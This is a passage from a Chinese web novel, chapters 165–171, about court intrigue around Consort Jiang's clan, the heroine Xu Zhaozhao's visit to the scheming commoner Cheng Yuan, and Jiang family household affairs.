比起姜贵妃,曲皇后在宫中的存在感似乎不高,尤其是对于京城的众多女眷们而言,似乎提及姜贵妃之时更多。 再或者,是姜贵妃荣宠不衰这件事,更让京中贵女们感受颇深。 但许昭昭却坐未小看过这位曲皇后。 曲皇后亦是出身高门世家,否则,当年也不会被先皇和太后选中成为当时的太子妃。 而且曲皇后能接连诞下三位皇子,就凭这一点,就不能让人小瞧。 姜贵妃再受宠又如何呢? 她曾生下过两位公主,但是其中一位早夭,听闻连百日都没过便没了,为此,姜贵妃还病了大半年。 就连永安帝也是命人以镇国公主之礼给这位小公主下葬,更是命人诵经超度,总之就是逾制多次,甚至还被御史弹劾,但最终,还是没有人能让皇帝收回成命。 姜贵妃如今只有一位公主,可能也正是因为如此,所以姜家人才急了。 姜家并非是平民出身,只是姜氏与曲氏相比,这家世上差了不是一星半点,否则当年也不会让姜贵妃为妾。 姜贵妃入东宫为妾时,姜太傅还不是太傅,再后来才慢慢地在朝堂上崭露头角。 如今的姜太傅虽然手上有权,门生甚广,但到底是姜家底蕴不足,所以不敢真地明目张胆得与曲家为敌。 若是曲皇后没有嫡子,那姜家自然是敢去争一争这皇后之位。 但曲皇后还是太子妃时,便能顺利地诞下嫡子,仅冲着这一点,就无人能撼动她的正妻之位。 既然夺不走后位,姜家便打起了夺走下一任帝王位置的主意。 若是能有一个携有姜氏血脉的帝王,那才是姜家真正的崛起之机。 可惜,姜贵妃不争气,送入宫中的姜玉也不争气。 姜延平得知消息后,气得将整个屋子都砸了。 “没用的东西!现在没了那块肉,而且以后都不能再生了,姜家多年的布局岂非是白费了!” 已经送过一位姜氏女入宫了,不可能再送一位。 否则,那姜家就等着被御史弹劾为奸侫吧。 姜贵妃看着躺在床上跟丢了半条命一样的姜玉时,心情格外复杂。 当初兄长找到她,提出想要借腹生子的法子时,她其实是不情愿的。 她姜贵妃可以跟后宫中任何一个女人争,可以去贬低任何一个女人,可是她没有办法去跟自己的同族小辈去争。 这种感觉太难受了! 后来她得知姜玉腹中的孩子没能保住,不知为何,她又心生欢喜,原本就对这个孩子有几分抵触,如今没了,反倒是心里踏实了。 姜贵妃叹口气,还是上前劝慰几句。 “不用想太多,好好调理身子,日后还会再有的。” 姜玉的眼神空洞,说话都是有气无力的。 “不会再有了!” 姜贵妃眼神微亮:“什么?” “我说不会再有了,我都知道了,贵妃不必再瞒着我,我知道自己不可能再怀上龙嗣了,我没能完成家主交待的使命,我有愧于家主的栽培。” 姜贵妃脸色一冷,幸好此时只有自己的婢女在,但她还是挥手示意,让所有人都退出去。 “以后这等话就不要再说了,免得招来祸事!” 姜玉眼泪顺着眼角流下,然后流经她的太阳穴,再滑落到那个枕头上,看着就让人心上一揪。 “我不能再有孕了,我还能活下去吗?” 姜贵妃怒斥:“胡说什么!这宫里头有我在,谁敢欺负你!安心养好身体,太医的话也未必就是真的,只要好好调养,日后总还是有机会的。” 姜贵妃现在看到姜玉的样子,心中有几分烦闷。 姜玉之所以被选中,就是因为她的相貌与自己有五六分相似。 正是因为如此,那天晚上,才会被陛下错认。 现在想想,姜贵妃只觉得有几分堵心。 “好了,你好好休息吧,若是缺了什么,只管让人去找我,别多想,你的身子才是最重要的。” 姜贵妃走出偏殿,然后连做几个深呼吸,好像唯有如此,才能将心头的那抹不快,给吐出去。 回到自己的寝殿,姜贵妃一抬手,只留下贴身宫女在身边。 “太医怎么说?” “回娘娘,姜宝林的情况不太妙,日后再怀上龙嗣的可能性几乎是没有。而且按您的吩咐,特意让那边的宫人说走嘴,然后不小心被姜宝林听到的。” “嗯,你做的很好。取两贯钱给那边的宫人,让她们好好照顾姜宝林。” “是,娘娘。” “这件事还是得查,皇后那里定然已经查出了真凶,只是不愿意闹大罢了。说到底,也是觉得姜玉位分低,而且也不是什么正经的世家小姐,以为她背后没有人撑腰,所以才不想得罪人吧!” 宫女小声道:“娘娘慎言,奴婢听说,陛下也有意将此事压下,毕竟不光彩。” 姜贵妃明白陛下的心思,谁让姜玉自己没忍住,也不听话呢。 而且这种事情真要是闹大了,查到底,不确定会牵扯出谁来呢。 姜贵妃冷笑:“陛下也是什么都知道呢,这是怕再把他的宝贝儿子们给牵连出来,到时候他才是真的丢脸了。” 宫女吓得立马跪下:“娘娘慎言!” 姜贵妃再次冷笑,显然不以为意。 不过,到底还是没有再说别的。 “让咱们的人也得去盯着,好好查一查,不管是哪个的手伸过来了,我总得要让对方知道姜家不是好惹的!” “是,娘娘。” 没让姜贵妃等太久,这宫里宫外便源源不断地有消息递进来。 “王静?这又是何许人?” “禀娘娘,王静是忠王府的幕僚,并无官职在身。奴婢刚刚收到的消息,与王静关系最好的一位叫阿胡的护卫,昨晚因醉酒失足落水,今日一早发现时已经被溺毙。” “这个阿胡的底细呢?” 宫女的脸色不太好,说话没了底气。 “回娘娘,是个孤儿,原是小乞儿,后来因一身蛮力被忠王府的管事带入王府。” 第166章 不捅破的真相才可怕 随着忠王府两个不起眼的小蝼蚁的身死结局,姜宝林滑胎一事似乎也就此画上了句号。 皇后查到忠王府后,便将此事上报于陛下。 但皇帝还是要脸的,涉及自己的亲儿子,他当然不可能再让人继续查下去,直接到此为止。 或许,也是皇帝不敢让人查,就怕再是自己预料的那个结果。 但是忠王被陛下叫入宫中,听闻训斥了将近一个时辰,等到忠王出来时,不仅两眼通红,而且走路都是一瘸一拐的。 这件事,看似是没有对任何一个人,或者说是任何一家有太大的影响,甚至就连忠王这个被帝后所疑的幕后黑手,也没有得到太大的惩罚。 所有人都以为,此事应该就算是过去了。 但是许昭昭知道,这件事过不去! 因为姜贵妃不会善罢甘休。 但因为这上皇帝的决定,所以姜贵妃不会忤逆皇权,那她就一定会配合姜家再做些别的。 姜延平此时恨极了忠王,怎么也没想到,会是他的女婿打乱了他所有的计划。 但是打击忠王,显然不妥。 忠王妃赵月循例入宫请安时,被罚了。 宫中传出的消息,说是忠王妃冲撞了姜贵妃,所以被姜贵妃在一条小径上罚跪一个时辰。 听闻赵月回府时,两条腿也明显不适。 姜贵妃因为多年来一直有圣宠,所以她在宫中一直都活得很肆意,也可以说是很嚣张。 皇后自知不比姜贵妃受宠,所以平时也是能避则避。 姜贵妃罚忠王妃,这事也挑不出什么毛病来,毕竟姜贵妃是长辈。 这件事,也并没有引起太多人的注意,毕竟在男人们看来,女人都是小气又爱使性子的,听一听就算,完全不会想到别的层面上去。 忠王虽然觉得王妃被罚,就等于是自己受辱,但想到那个未出世的孩子,忠王还敢说什么? 所以明知道是姜贵妃的报复,他们还不是一样得受着? 没过多久,赵家的一位小辈因为当街斗殴而被县衙拘押,之后更是赵家小厮当众挨了板子,赵家小郎君被罚囚十日。 这可等于是赵家被人打脸了呀! 不过,赵家人忍了。 小打小闹,不足以让赵家人动怒。 谢铮对于这件事能顺利地平息,还是十分满意的,他就怕再有人查到昭昭身上,所以确定此事过去后,便又心情大好,几乎是想要天天去安信侯府。 好在谢家的几位长辈们还是靠谱的,所以在他们的教导和阻拦下,谢铮基本上就是三四天登门一趟,而且还是换着理由去许家。 这日谢铮终于顺利地将许昭昭给约出来,两人一起去逛东市。 东市贵,这里所售皆为上品,而且这边的街道也更为干净,铺面内的装潢更为豪华。 两人慢慢悠悠地逛着,后面跟着两个婢女两个护卫,在许昭昭看不见的地方,还有一位剑七跟着。 “昭昭,你看这个喜欢吗?” 两人此时正在一家花铺闲逛,既能赏花,又能多聊聊天,增进感情。 “嗯,你可知道这是何花?” 谢铮摇头,能让他认出来的花,基本上不会超出一巴掌。 许昭昭笑了笑,并没有告诉他花名,而是示意他继续往前走,打算去前面的铺子瞧瞧,是否有鹦鹉售卖。 让许昭昭失望了,没有。 更准确地说,是没有会说话的,不会说话的倒是有一大堆,但她就想要一只会说话的鹦鹉。 “这个不太好办,等回头我差人跟商队说一声,看看往来塞外的商队里是否有。” “好,辛苦了。其实我也不是非要不可,只是觉得新奇罢了。” 等到了时辰,他们二人就去了与许君霆约好的地方用膳。 许昭昭和谢铮单独用膳不妥,许君霆就被拉来当幌子了。 结果刚点菜,一道都没上呢,齐云泽找过来了,而且还是一脸郁闷地样子。 “这是怎么了?云泽兄长可是有烦心事?” 齐云泽叹气:“还不是那个程媛!我真是服了她,也不知道她是怎么想的,昨日竟然买了一大堆的首饰,而且还让店家挂到了我们侯府的账上。我昨晚回去的晚,不知此事,今日一早,才被母亲叫过去询问。 你们是不知道,我母亲还以为是我在外面胡来,想要以重金博哪里的小娘子一笑呢!结果我自己都是两眼一抹黑,我母亲这才意识到不妥,再命人去问,这才知道是程媛干出来的事。” 许昭昭听罢,只想笑。 齐云泽这是被赖上了呀! “那最后呢?此事如何处理的?” 齐云泽重重一哼:“还能如何处理?我没出面,母亲派了家中仆从去将那些首饰讨要了回来,然后送到铺子里。那里的掌柜得知是我们侯府,倒也没有非赖上我们,但是有两件首饰明显被戴过,而且有一件上面还有了瑕疵,所以我们只付了这两件首饰的钱。” 许昭昭但笑不语,许君霆却觉得他们定南侯府做事小气。 “不过就是几件首饰,云泽你们何必如此较真?只需差人说一声,日后不可如此便罢,这将东西再讨要回来,是否不体面了?” 齐云泽一脸苦笑:“那是因为你不知道她拿了多少东西!说搬了人家半个店面都不为过。” 谢铮挑眉:“当真?” “这还有假?她竟然賖了铺面一百贯钱!那可是一百贯呀!要是买战马都能买三匹了。她哪来的自信觉得可以让我们侯府白送她一百贯钱?” 许君霆也没想到这位程媛这么厉害,这是真地不拿别人的钱当钱呀! 齐云泽恨恨道:“在此之前,我安顿她时,还特意给她留了十贯钱做家资,若是正常花销,这十贯钱足以支撑他们主仆两个月的生活。可是我今日才知晓,那十贯钱如今已被花得不剩几个铜板了。” 谢铮听得呲牙,得亏了当初是齐云泽把人带走的,要不然,真赖上他了,可真是麻烦。 许昭昭也觉得好笑,齐云泽这样的大男人,竟然也会被一个无赖的小娘子给拿捏了。 倒是有趣! 只不过,这程媛做事也的确是过于随心,说得直白些,这是个傻大妞呀! 募地,许昭昭眼神一变,果真如此么? 第167章 逾制了 “云泽兄长,我可能与你同去探望那位程媛姑娘?” 齐云泽有些不解,之后又看向谢铮,还以为这是谢铮想要将程媛纳到身边,所以许昭昭才会有此一问。 “你不必看他,是我想见见这个程媛,她让我觉得很有趣。” 齐云泽没有什么不答应的,反正如今京城人人皆知是他在背后帮了程媛一把,也知是他给程媛在京城寻了落脚地。 只是,齐云泽可没打算一直负责她的后半生。 她自己有手有脚,只要不懒不馋,饿不死。 许昭昭看着眼前的小院子,还不错,就是普通的殷实家庭能住得起的小院子。 正屋三间,东西厢房各两间,还有两间倒座。 如今这倒座里住着一位看门人。 程媛正在屋里发脾气,听说齐云泽来了,而且还有一位年轻的女子同行,她当即便想到了极有可能是齐云泽的红颜知已,莫不是上门来找她的麻烦了? 许昭昭头上戴着帷帽,所以程媛并没有认出来这是百果园的主人。 “齐哥哥,你还在生我的气吗?我真的不是故意的,我并没有真的想买那些东西的,都是有人故意阴我。如今这些东西也都送回去了,你就别再生我的气了,好不好?” 程媛一边扯着齐云泽的袖子说话,一边注意到女子移步到了院中的桃树前,还抬手拈起一片叶子,也不知道想干什么。 待她将视线收回,又看到刚刚走进来的谢铮,这一瞬间,她的眼睛都亮了。 “三郎!” 程媛直接提裙就向他跑过去,结果半路上就被两名婢女给拦住,冷声训斥道:“你这小娘子,怎生这般无礼?谢三郎已有婚约,还请你自重!” 程媛怔住,这才注意到眼前的两位婢女有些眼熟:“你们是安信侯府的人?” 丁香哼了一声,没答腔。 倒是谢铮快步到许昭昭跟前:“怎么了?可是想吃桃子了?” 许昭昭没好气地白他一眼,自己到程媛这里来就为了吃一口桃子? “程姑娘,不请我们进屋坐坐吗?” 程媛当着谢三郎和齐云泽的面,也不好再针对许昭昭,毕竟她是自己名义上的救命恩人呢。 程媛的那位老仆,如今已经养好伤,如今正在屋里做一些针线活,见到几位贵人登门,自然是不遗余力的讨好。 许昭昭进入堂屋,注意到屋子里左右各摆着一盆开得艳丽的芍药,可见当初齐云泽给她安置的时候,是的确不曾想苛待她的。 许昭昭走向其中一盆,抬手抚摸着花瓣,好一会儿才道:“我先前不在府中,后来听闻程姑娘曾登门道谢,只是我府中下人无人识得姑娘,所以未曾允你进门。正好今日偶然与云泽兄长遇到,所以便想着过来探望,想看看程姑娘可是遇到了难处?” 程媛不悦,自己找齐云泽帮忙,碍着她什么事了? “还好,有云泽哥哥帮我,生活还是过得去的。” 许昭昭点头,此时她已摘下帷帽,略施粉黛的脸上,张扬着自信和牡丹一般的华贵,令程媛愈发厌恶她了。 丁香知道自家主子的心思,看了一眼院子,再看看打扮得如同千金小姐一般的程媛,只觉得这个女人怕是疯了。 你是逃难到京城来的,真以为自己现在就安全了? 这是生怕没有盯上吗? “程姑娘,我家小姐心善,当初在庄外救下你们主仆时,便曾说过看在谢三郎和齐世子的面子上不收你的谢礼了。今日正巧听闻你已有了栖身之所,所以小姐才特意过来看看,若是有什么需要,您只管说,我们小姐若是能帮得上忙,定然不会拒绝。” 程媛不悦:“我都说过了,没有!我过得很好,不需要你们再假好心了。” 此话一出,一旁的老仆显然是有些着急。 当着两位郎君的面这样说话,岂不是让人觉得程媛不识抬举? “既然如此,只当是我没有说过吧。不过我还是得提醒程姑娘一句,你如今的身份是良籍,但也只是平民百姓,有些东西逾制,若是被人发现是要治罪的。” 程媛愣了一下,显然没有反应过来。 还是一旁的老仆脸色微变,连忙行礼道:“多谢这位姑娘提醒,小姐也只是一时疏忽,日后定会注意。” 大兴的衣服颜色、面料甚至是制式等等,都是有着严苛规定的。 平民女子普通着襦、裙、帔帛等,颜色多为麻布、葛布的本色,或者青黑、暗红、靛蓝等易染之色。 而眼前的程媛不仅在穿衣的面料、颜色上犯了忌讳,甚至衣裙上还镶了珍珠,这样的穿着,便是品级低微的官宦之女都不敢穿的。 说得更直白一些,程媛如今的穿着打扮更像是侯府千金,这已经是严重地逾制了。 程媛随着老仆的提醒之后,这才下意识看了一眼自己的衣裙,她们家没出事之前,她好像一直都是这样穿的呀。 怎么现在就不行了呢? 许昭昭叹了口气,提醒道:“现在去换了吧。这几日你们在外逛街定然十分张扬,不说你是否逾制,官府是否会来拿人,只说你这珠光宝气的样子,却住在这等地方,你们是生怕没有宵小上门吗?” 老仆脸色更白,睨底明显的惊惧之色,当下匆匆屈膝后,便拉着程媛进入闺房。 齐云泽之前没觉得有什么不妥,那是因为当时程媛是住在定南侯府的,也算是侯府的娇客,而且没事谁会到侯府来查这个? 如今程媛已经搬出来了,而且她的的确确只是一名平民百姓,这就不得不注重一下这方面的问题了。 齐云泽一拍脑门:“多亏了昭昭提醒,我都没想到这一层。” 许君霆冷哼道:“你只想着如何让小娘子们都打扮得花枝招展来惹你眼球了!” 齐云泽挑眉,随即举了举自己的拳头:“再乱说话,一拳打掉你的牙!” 许君霆不说话,反而是看向了一旁的谢铮。 谢铮无奈道:“云泽,他是我舅兄!” 齐云泽一听这话,立马又颓下来,无他,只因他打不过谢铮! 第168章 我不是在羞辱你 等到程媛换好衣裳再出来时,头上的发钗明显也少了许多,而且还换了一个更为简单,也更符合其身份的发型。 但是,程媛明显不高兴了。 她只觉得换了这身衣裳之后,好像又回到了当初自己被迫跟着族人一起被流放的日子。 丁香看着眼前明显变得灰扑扑的程媛,心情一下子就好了。 谁让这个女人胆敢惦记她们家姑爷的! 这就是教训! 也不看看自己什么身份,不感激小姐的救命之恩也就罢了,竟然还妄图利用美色来勾引姑爷,简直就是下贱! 看到这样的程媛,许昭昭的心情也舒畅不少,而且很明显,去掉了那身华服之后,程媛明显变得不那么自信了。 说白了,就是程媛自卑,只得借助华丽的外表想来证明自己不比别人差。 如今一下子被打回原形,她竟是生出来一种无脸见人的羞愧感。 “程姑娘,你身边有一位懂事的老仆照顾你,很不错,但愿你能珍惜。云泽兄长念在当年程公的恩情上,对你照顾有加,但他是官身,也要注意影响的,非凡,御史台的那些言官们也会盯上他,指不定会日日弹劾他。” 老仆的脑子反应更快一些,很明显,人家许小姐就是特意一提醒她们的。 若是真地让齐云泽因此而被人弹劾,那日后谁还敢再来帮扶姑娘? 这一刻,老仆竟然是感动得差点哭出来。 “姑娘,许小姐说的对。咱们在京中已无多少旧人,如今愿意帮咱们的,就只有这二位郎君,您可不能再使小性子了。京城诸多贵女如今都只等着看咱们的笑话,咱们绝对不能再让人拿到错处,从而连累到两位郎君呀。” 这话说的很诚恳,也很有道理。 但程媛听不听,就是她的事了。 “我今日过来,其实就真的只是顺便看看。另外,我也是想着我手上有些产业,若是你们不嫌弃,可以到我那里寻一份营生,既然回到京城了,总得往前看,难道你们要一辈子依附云泽兄长而活? 如今云泽兄长还未曾成亲,倒还好说,若是成亲之后呢?还有,程姑娘如今年纪也不小了,好好过日子,若是能有一份稳定的进项,日后亲事上也能有个好的归宿。” 老仆听得连连点头,经过这次的大逃亡,她深知自家小姐与这二位郎君都是不可能的,甚至是连妾都做不成。 既然如此,那就得打起精神来,好好筹划以后才是。 许昭昭提出来这些,其实是真心为程媛考虑,并非是故意羞辱。 但程媛并不这样认为。 她总觉得许昭昭此时就是仗着侯府的身份来这里耀武扬威,是故意来羞辱自己的! “多谢许小姐的好意,你放心,我不会再缠着三郎的。我知道你是他的未婚妻,你们两家门当户对,我程媛算什么?不过是一介罪臣之后,如今能活着回到京城,已然是天大的福气,又怎敢再奢望其它!” 类似的话,程媛说过无数次,对着在冀州时的一些官兵、富家公子等等。 每每说完,都会得到他们的同情和鼓励,他们甚至认为这是老天不公,像她这样的女子怎能受此搓磨。 但可惜,这一次遇到的是许昭昭和另外几位铁石心肠之人。 “程小姐才是真地想多了。我并无其它意思。只是想要提供一份生计与你。既然你不需要,那便只当是我多事了。当年程公在京城也颇有名望,我们许家虽与程家鲜少来往,但于长辈而言,他们当年也算是同朝为官。” 许昭昭话意至此,芍药上前送上一个小匣子,干脆道:“这里面是五贯钱。小姐没有轻贱程姑娘的意思,只是如今你们主仆二人总要生活的。齐世子又是个贪玩儿的,若是哪一日突然被外派,未必能照顾到你们这里。这些钱足够你们应急之用了。” 五贯钱不少了。 五千个铜板呢1 若是不挑嘴,三四个铜板就能让这对主仆一天吃饱喝足了。 所以,只要程媛愿意省着花用,哪怕她不愿意出去找事做,但至少可以保她们主仆三五年衣食无忧了。 程媛很想硬气地说不要她的臭钱! 但是她又实在没办法拒绝。 一旁的老仆第一时间攥住她的手,然后冲她摇摇头。 她们现在的日子的确是还能过得去,但是往后呢? 不得不说,到底还是老仆更有生存经验,知道度日不易呀。 待他们一行人走出这座小院,程媛才开始发疯一般地摔打着屋里的东西。 老仆再三劝说无用后,最终还是一把将她抱住,主仆二人竟是同时放声大哭。 “这个贱人!她就是故意来羞辱我的!还五贯钱?当年我程媛何时在意过这五贯钱?” “小姐,我可怜的小姐呀!忍忍吧,没办法,咱们现在是落毛的凤凰不如鸡呀。钱这东西虽然铜臭,但离了它没法儿过日子呀!” 程媛又哭了一会儿,这才愣愣地看着那个匣子,就是这么个东西,里面放着大把的钱,能让她短时间内不至于食不裹腹。 可也是这个匣子,几乎是撕碎了她身上仅有的骄傲。 她怎么就这么命苦呀! “我就不该留下这些钱的。就算是三郎不管我,可还有云泽哥哥呢,我就不信他能忍心看我饿死冻死!” 老仆抱着她又哭了一场。 “姑娘,形势比人强呀!咱们如今的确是无权无势,只能咬牙认了。而且许昭昭说的对呀,齐世子是有婚配之约的,若不然,也不会听从齐夫人的安排,把咱们迁出来。日后若是世子成婚了,再是一位厉害的主母掌家,那世子身上只怕也没有多少银钱可用的。” 说白了,就是齐世子日后万一惧内,哪里还能顾得上这里? 况且人家只是打着报恩的旗号收留安置,但是这个理由也不能用一辈子呀。 程媛此时已经哭得两只眼睛都肿了。 “许昭昭,算你狠!等着吧,我程媛不会永远落魄,早晚有一日,我要让你跪下来求我!” 第169章 你果然不是废物! 另一边,齐云泽和谢铮并肩而行,看着前面约七八步的兄妹二人,一时间心生羡慕。 “唉,你真地是要回去跪祠堂来谢谢你家祖宗,能让你娶到一个这么好的娘子。” 谢铮直接拿手肘拐他一下:“说什么胡话呢?这是我父亲帮我定下的婚事,我感谢祖宗做什么?” “感谢你的祖宗八辈呀!” 谢铮怒起,抬脚就踹! 不过齐云泽的反应还是很快,显然嘴贱不是这一回两回了。 其实谢铮也觉得昭昭的确是很好。 偶尔蛮横又可怜的程媛有多难缠,他是知道的。 只是没想到,许昭昭仅仅三言两语,就把一切都给解决了。 其实这会儿想想,许昭昭说的都是很正常的实话,只是程媛自己可能放不下以前国公府小姐的身份,总觉得自己有朝一日还能再回到那等的荣耀时光。 可事实果真如此吗? 谢铮叹气,他和齐云泽查了这么久,始终没有消息,而程媛身上到底有什么东西值得对方痛下杀手?迄今为止,是一点眉目也没有。 程媛自己都是糊里糊涂的。 其实这也正常。 当初程家人被流放,一路上,程媛自己攒的私房钱都花用了,而且身上的首饰也是一件不留,全都给了那些衙役以求自己过得舒坦几分。 这一路上,有被她典当的东西,也有被她拿出去讨好的,时间过去这么久,还怎么找? 谢铮甚至还花费大力气去找过曾经押解程媛的几位官差,但是很不幸,有两个死了,还有一个瘸了一条腿,早已赋闲在家,另外的几个都是小喽啰,属于那种收了钱也办不了事的跟班,所以找他们也无用。 “齐云泽,我还得提醒你一句,昭昭有句话说的对极,你是有未婚妻的人,你在外面的那些风流债也该收收了,别动真感情,要不然,对人家姑娘也不公平。” “放心,我都明白。不过眼下手里头接了宫里头递出来的差事,怎么着也得把眼前这件事办完了再说。” 提及宫里,谢铮就再也不问了。 有些事,知道得越少越好。 人得惜命,那就要知道别生太多的好奇心。 许昭昭回到家后,就让人把柱子找过来了。 “主子,您找小的有何吩咐?” “差人去一趟冀州。不,你亲自去,别人去我不放心,带上几个护卫好手。” “是,小的什么时候出发?” 如今的柱子稳重多了,主子不提,他也不会主动问,反正主子让做什么就做什么,听话就是好随从! “即刻出发,可以光明正大地走,带上一些药酒和粮食,先给谢将军送过去,之后再按我信中交代的去办。” “是,主子。” “现在看信,看完之后,直接烧了。” “是。” 柱子不明白主子为什么不直接交代,看完信之后,他只觉得心头跳得飞快,这么大的事情交给自己做吗? 柱子觉得心头涨涨的,他读书少,说不上来,其实,就是那种被主子信任的自豪感! “此去可能会有危险,但也可能会一切顺利,无论如何,你们的性命是最重要的。东西取不到可以不要,但是人必须平安地回来!” “是,主子,小的定不辱命!” 许昭昭又问:“信中所写的暗号可记清楚了?” “小的都记着呢。” “那就好,去吧。” 待柱子带着二十多号人押着马车出城后不久,又有一支商队出方,走的方向,正好也是冀州。 紫苏确定一切顺利之后,又在原地待了一个时辰,确定再没有大规模的商队出城之后,这才往回返。 “主子,除了柱子的车马之外,再就是有一队咱们自己人安排的商队,除此之外,还发现了四五个游侠骑马出城,方向也是冀州。” “嗯,骑马出城、游侠?呵呵,有趣呀!程媛,你果然不是废物。” 紫苏退后一步,她也没想到,那个让人以为蠢笨如猪的程媛,竟然也会是一个深藏不露的算计高手。 在冀州待了那么久,少将军竟是未曾查到半点不妥,可见这程媛的心计之深! 紫苏提醒道:“主子,可以派人盯着程媛?” “没必要。真派人盯着了,反而让程媛生疑,甚至还会自以为有资格与我一争了!” 程媛的确是很聪明,但还不足以让许昭昭拿她当对手。 “她的伪装其实并不高明,但是三郎和齐世子都是男子,说句不中听的话,一个月能与她见几次面?短时间的装模作样并不难,而且两个大男人,也不好总是与她走得太近,此事倒也怪不得他二人,反倒是由此能看出他二人行事颇有君子之风。” 这话紫苏认同,一旁的芍药却觉得是高抬这两位公子了,分明就是他们太大意,而且也太想当然了。 仅仅因为程媛是程公之女,所以他们便直接选择了相信,如此轻信,日后定然要倒大霉! 许昭昭也并非就是想着直接看他二人的笑话。 只是事以密成,眼下当是多一事不如少一事。 抛开程媛的事情,许昭昭再次将注意力放在了姜家之上。 邓家彻底起不来了,许昭昭觉得官场上的事情,她现在不好直接插手,但是内宅之事,倒是可以推动一二。 姜延辉被流放了,但是他的妻子宋氏如今可是好好地在姜府里过日子呢。 虽然不再是官夫人了,但仍然是官员家眷,姜太傅的儿媳呢! 而且姜延辉也是太傅的嫡次子,他的妻子,出身自然不会低。 许昭昭再次看了一眼姜家的人物关系图,觉得自己可以适当地挑拨一下。 邓氏如今最大的倚仗就是两个女儿,毕竟一个是肃国公府世子夫人,还有一个是忠王的妾室,长子姜文鹤眼见着一时半刻是不中用的,但邓氏却不会就此放弃。 无论如何,仅仅是嫡长孙这一点,便注定姜文鹤日后是要承袭家业的。 所以,在邓氏眼中,还是这个长子最为重要。 “文鹤,你还年轻,母亲已经打听到孔家的那位先生不日将抵达京城,你若是有机缘得他指点一二,重回朝堂,定是早晚之事!” 第170章 权势的好处啊! 鲁地孔家,乃是圣人子翤,故而声望颇高。 无论是在朝堂,还是在学子心中,孔家都是正宗的儒家。 能被邓氏称为先生的孔家人,自然不是什么毛头小子,而是孔家这一代的家主,奉皇命入国子监为官。 不仅如此,听闻是圣上亲笔信写了三封,这才将人请动,圣上得知后大喜,已经下旨特意在京中赐下府邸,足见圣上对其看重。 姜文鹤自幼开蒙后,便一直表现得颇为聪慧,自幼开始学习君子六艺,哪怕是未曾上过战场,但若只是单纯的论剑,能出其右者不多。 此次,姜文鹤的确是有信心能在孔先生面前得到赏识,他也不求立马就能入朝为官,只求能在孔先生身边当一个学生、甚至是随从,他也知足了。 毕竟,孔圣人的后代,值得所有文人敬重。 当然,姜文鹤不单单只是因为敬重孔先生,更重要的是,若是能跟随其左右,必然会将自己再度暴露于人前,届时,多方的人脉关系,自然便又可以再度盘活。 这便是姜文鹤的处事之道。 许昭昭暂时左右不了姜文鹤做什么,而且她的目光也没放在姜文鹤身上,现在姜家势力太强盛,又有圣上恩宠,当初能绊倒一个姜延平,已然是个意外之喜了,所以暂时不要再做梦为好。 姜太傅回到内宅,姜老夫人一把年纪了,也仍然是亲手为他更衣,还拿来热帕子为其覆面、净手。 “这些事,让下人来就好。你的身子可好些了?” “好多了。老二媳妇孝顺,这些日子一直都是她在我跟前侍奉汤药,前日文祥回来后,也来我这里守着,是个孝顺孩子。” 姜太傅点点头,昨日是他当值,夜里是需要宿在皇城,所以竟是错过了这个孙儿的休沐。 “文祥走了?” “今天午后走的,说是先生留了课业,除此之外,还与几位同窗约好一起去山上赏日落,要将美景画下来,交与先生做评判。” 听上去都是正事,姜太傅微微点头。 姜文祥是姜家三郎,姜延平和宋氏的嫡长子,因为姜家蒙祖荫可入国子监的只有两人,又因为姜文祥和姜文鹤的年纪相仿,老爷子当年是考虑到日后可能还会有更有天赋的孩子出生,所以只让姜文鹤入了国子监,而姜文祥则是由姜府出钱,到了几十里地之外的书院进学。 姜延平和宋氏倒没有觉得不公平,人人皆知大兴朝最好的先生都在国子监,可是也知道国子监中各种的二世祖最多,风气并非是那么好。 所以,他们夫妻俩便给儿子选了以严苛出名的书院,好让儿子能静下心来,好好治学。 宋氏平时低调,但她是个少有的聪明人。 在她看来,远离京城繁华,便等于是远离了赌、色、酒这三样,只要没有这三样,那儿子至少不会长歪。 “咦,换被子了?” 姜太傅躺下后,就觉得这床被子更轻,而且盖上后软和、服贴。 姜老夫人笑道:“是二媳妇送来的,昨天和文祥一起抱过来的,说是她城外的庄子上新得的白叠子,特意做了几床新被褥,不仅给咱们两个换了,也给文祥准备了一床,让他带到书院去。” 姜太傅点点头,看向老妻,很显然,他知道还有后话。 老夫人叹息道:“宋氏求到我这里来,说是想要给老二送些东西过去,其中就有一床这新被子。” 姜太傅的嘴唇动了动,好一会儿才道:“她自己可以直接安排人送过去,何苦来求你?” “你个老头子,你是真不知道还是装傻呢?老二是犯了事,是流放出去的罪人,她若是私底下去接济,不是怕你和老大为难嘛!” 姜太傅这才深吸一口气,眯上眼,一脸享受:“宋氏是个懂事的。明儿要是她再来,就跟她说,该送什么就送什么,不用怕。我老头子还活着呢,总不能让我白发人送黑发人!” 老夫人点头:“好,我明天就跟她说。老二媳妇也是个有情有义的,当初老二出事,就有不少人明里暗里地挑拨着让她和离。哼,一群不长眼的东西,老二就算出事了,那也是咱们姜家的人,轮得到那些人在外头说三道四的!” 姜太傅皱眉,明显对这个话题不感兴趣,索性翻个身,背对着老妻。 多年夫妻,老夫人也知道他这是不耐烦了,便不再说话,没一会儿,两人便都先后入睡了。 次日,宋氏又过来请安,老夫人便将老头子的话复述一遍,宋氏听闻后,竟是眼含热泪。 “多谢父亲母亲体恤。若非是因为家中还有孩子们,妾身是真想和他一起去,二爷是个衣来伸手,饭来张口惯了的,哪里受得到了这份苦!” 一番话,说的老夫人也开始掉眼泪。 姜延辉再不好,也是她的亲生儿子,她怎么可能会不心疼? 如今得了老爷的准话,老夫人也觉得没必要太忍着,索性就将自己的心腹也派过去,又挑了几个健妇,只求有力气,相貌端正即可。 说到底,姜延辉是坏在了色字一事上,所以这一次,她们婆媳二人也算是吃到教训了。 姜延辉被流放不假,但是姜太傅还活着呢,姜家也没倒,所以流放的那一路上,基本上就没吃什么苦。 当然,对于姜延辉来说,没有锦衣玉食,这就已经是吃大苦了! 到了地方,又有姜家先一步过去安排,所以如今的姜延辉虽然只能着布衣了,但好歹是衣食无忧,而且也不需要去劳作,至于官府规定的那些劳作,自然有人替他完成。 这就是权势的好处。 地方官哪怕是知道了,也是睁一只眼闭一只眼,姜太傅的嫡子,谁敢招惹? 而且现在是被流放,谁知道哪一天圣上想起来,就又把人给弄回去了呢? 所以,能不得罪,自然是不得罪的好! 姜延辉虽然衣食无忧,但是身边没有一个美婢,除了小厮之外,便是几个健妇照顾其起居。 姜延辉也知道,这定然是父亲的意思,他现在也没了去寻花问柳的心气儿,只琢磨着如何能再回朝堂,唯有如此,才能让儿子不受他的影响。 “二爷,您先前让找的人有消息了!” 第171章 灭口 姜延辉让人驾起牛车,然后慢悠悠地出城了。 